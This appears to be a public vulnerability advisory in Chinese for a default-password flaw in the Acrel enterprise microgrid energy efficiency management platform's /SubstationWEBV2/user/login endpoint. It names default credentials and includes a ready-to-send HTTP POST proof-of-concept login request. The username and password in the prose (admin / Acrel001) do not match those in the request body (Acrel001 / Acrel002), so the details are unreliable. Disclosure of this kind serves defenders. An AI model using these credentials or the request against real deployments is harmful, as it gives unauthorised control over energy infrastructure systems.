安科瑞企业微电网能效管理平台 /SubstationWEBV2/user/login 默认口令漏洞

2026-02-28 安科瑞企业微电网能效管理平台 PoC Public

Description

安科瑞企业微电网能效管理平台的 /SubstationWEBV2/user/login 接口存在默认口令漏洞。该接口未对用户密码进行有效加密或限制，使用默认的用户名 admin 和密码 Acrel001 即可成功登录。攻击者无需身份验证即可轻松访问系统，获取敏感信息或执行未授权操作。

PoC

POST /SubstationWEBV2/user/login HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 71
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Connection: close
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Api-Version: 2.0.0
Response-Msg: chinese
Projecttype: 4

fLoginname=Acrel001&fPassword=Acrel002&loginType=password&projectType=2

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Acrel Enterprise Microgrid Energy Efficiency Management Platform /SubstationWEBV2/user/login Default Password Vulnerability

References